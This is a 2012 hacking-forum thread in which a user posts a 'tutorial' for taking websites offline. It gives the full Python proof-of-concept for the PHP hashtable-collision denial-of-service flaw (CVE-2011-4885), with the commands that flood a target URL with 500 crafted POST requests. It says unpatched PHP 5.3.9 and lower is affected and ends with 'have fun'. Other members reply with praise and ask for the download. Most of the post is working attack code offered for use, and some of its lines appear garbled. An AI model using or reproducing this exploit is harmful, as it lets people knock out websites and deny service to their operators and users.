

Forum:[Hack Forums](#)

Thread: [\[Easy Tutorials\] Howto: DOS a website \(PHP exploit\) 100% working](#)

slober - January 17, 2012, 11:00 am

Hi guys (again)

missed a tutorial on the easy series here is a list of them.

<https://hackforums.net/showthread.php?tid=2067495> [1]

<https://hackforums.net/showthread.php?tid=2070979> [2]

<https://hackforums.net/showthread.php?tid=2071223> [3]

[Easy Tutorials] Dosing a website (PHP exploit) [PART 4]

Content

Introduction

Requirement

Explanation [Dos]

Useful links

Outro

Sources

1. Introduction

First of all what is a Dos and what is the difference between a dos and ddos because some people really don't know the difference

Quote:A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer or network resource unavailable to its intended users.

Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person, or multiple people to prevent an Internet site..

ok and what is the difference between ddos and dos?

a DOS is an Denial of service and a DDOS a disturbed denial of service

a dos is 1 computer an ddos more computers ?

it's not that hard just really much people think that's a DOS is always a DDOS but thats wrong but a DDOS is always a DOS =) ?

ok enough information =)

still need more go to sources or google.com =)

2. Requirement

Website to DDOS

DDOS tool [source read one]

some knowledge of using python scripts

Python

3. Explanation

First download python if you haven't installed it yet

Download the ddos tool =) if you have problems with downloading just comment or pm me

now the command you need to use is this

```
python test.py -u http://YOUR_SITE/index.php -v -c 500
```

or in windows

```
test.py -u http://YOUR_SITE/index.php -v -c 500
```

the site is offline in 2 sec ;)

500 error internal server error

PoC:

Spoiler [\(Click to View\)](#)

[Video: <http://www.youtube.com/watch?v=9urunlq3Mn0>]

Code '''

This script was written by Christian Mehlmauer <FireFart@gmail.com>

Original PHP Payloadgenerator taken from

<https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision>

CVE : CVE-2011-4885

requires Python 2.7

Examples:

-) Make a single Request, wait for the response and save the response to output0.html

```
python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output
```

-) Take down a server(make 500 requests without waiting for a response):

```
python HashtablePOC.py -u https://host/index.php -v -c 500
```

Changelog:

v2.0: Added Support for https, switched to HTTP 1.1

v1.0: Initial Release

'''

```
import socket
```

```
import sys
```

```
import math
```

```
import urllib
```

```
import string
```

```
import time
```

```
import urlparse
```

```
import argparse
```

```
import ssl
```

```
def main():
```

```
    parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP  
Hashtable Exploit")
```

```

    parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
    parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait
for Response")
    parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many
requests")
    parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False,
help="Verbose output")
    parser.add_argument("-f", "--file", dest="file", help="Save payload to file")
    parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This
name is only a pattern. HTML Extension will be appended. Implies -w")
    parser.add_argument('--version', action='version', version='%(prog)s 2.0')

```

```

options = parser.parse_args()

```

```

url = urlparse.urlparse(options.url)

```

```

if not url.scheme:
print("Please provide a scheme to the URL(http://, https://,..")
sys.exit(1)

```

```

host = url.hostname
path = url.path
port = url.port
if not port:
if url.scheme == "https":
    port = 443
elif url.scheme == "http":
    port = 80
else:
    print("Unsupported Protocol %s" % url.scheme)
    sys.exit(1)
    if not path:
path = "/"

```

```

print("Generating Payload...")
payload = generatePayload()
print("Payload generated")
if options.file:
f = open(options.file, 'w')
f.write(payload)
f.close()
print("Payload saved to %s" % options.file)
print("Host: %s" % host)
print("Port: %s" % str(port))
print("path: %s" % path)
print
print

```

```

for i in range(options.count):
print("sending Request #%s..." % str(i+1))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if url.scheme == "https":
    ssl_sock = ssl.wrap_socket(sock)

```

```

    ssl_sock.connect((host, port))
    ssl_sock.settimeout(None)
else:
    sock.connect((host, port))
    sock.settimeout(None)

request = """POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803
Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
Content-Length: %s

%s

""" % (path, host, str(len(payload)), payload)

if url.scheme == "https":
    ssl_sock.send(request)
else:
    sock.send(request)

if options.verbose:
    if len(request) > 300:
        print(request[:300]+"....")
    else:
        print(request)
    print

if options.wait or options.output:
    start = time.clock()
    if url.scheme == "https":
        data = ssl_sock.recv(1024)
        string = ""
        while len(data):
            string = string + data
            data = ssl_sock.recv(1024)
        else:
            data = sock.recv(1024)
            string = ""
            while len(data):
                string = string + data
                data = sock.recv(1024)

    elapsed = (time.clock() - start)
    print ("Request %s finished" % str(i+1))
    print ("Request %s duration: %s" % (str(i+1), elapsed))
    split = string.partition("\r\n\r\n")
    header = split[0]
    content = split[2]
    if options.verbose:
        # only print http header
        print
        print(header)

```

```

print
if options.output:
    f = open(options.output+str(i)+".html", 'w')
    f.write("[b]<!--[b] "+header+" -->\r\n"+content)
    f.close()

if url.scheme == "https":
    ssl_sock.close()
    sock.close()
else:
    sock.close()

def generatePayload():
    # Taken from:
    # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision

    # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)

    # entries with collisions in PHP hashtable hash function
    a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
    # how long should the payload be
    length = 7
    size = len(a)
    post = ""
    maxvaluefloat = math.pow(size,length)
    maxvalueint = int(math.floor(maxvaluefloat))
    for i in range (maxvalueint):
        inputstring = base_convert(i, size)
        result = inputstring.rjust(length, '0')
        for item in a:
            result = result.replace(item, a[item])
        post += " + urllib.quote(result) + '='&'

    return post;

def base_convert(num, base):
    fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    alphabet = fullalphabet[:base]
    if (num == 0):
        return alphabet[0]
    arr = []
    base = len(alphabet)
    while num:
        rem = num % base
        num = num // base
        arr.append(alphabet[rem])
    arr.reverse()
    return "".join(arr)

if __name__ == "__main__":
    main()

```

howto use? open notepad paste code save as test.py

Notice.

Only php version 5.3.9 and lower

Notice.

have fun =)

5. Useful Links

<http://www.youtube.com/watch?v=9urunlq3Mn0>

http://en.wikipedia.org/wiki/Denial-of-service_attack

<http://shadeshroud.be> [my site with some other tutorial]

6. Outro

ok this was my tutorial stay tuned for other 2 =)

please comment it took a lot of time to make

7. Sources

<http://www.wikipedia.org>

..

black_wolf - January 17, 2012, 3:34 pm

Mhm I have had a script like this once but all it did was clog up my internet connection

CometWaffle - January 17, 2012, 4:08 pm

Great post!

Go's in great detail of explanation!

Perfect! just what i was looking for!

Thanks!

musabg - January 17, 2012, 4:09 pm

This Web page parked FREE courtesy of EzyAddress

where is the file ?

tulamba - January 17, 2012, 8:07 pm

Can somebody vouch for this?

Thanks

slober - January 17, 2012, 10:50 pm

UPDATE: posted source download link removed =)

Highend - January 17, 2012, 11:24 pm

great post, looks like solid work. thanks for this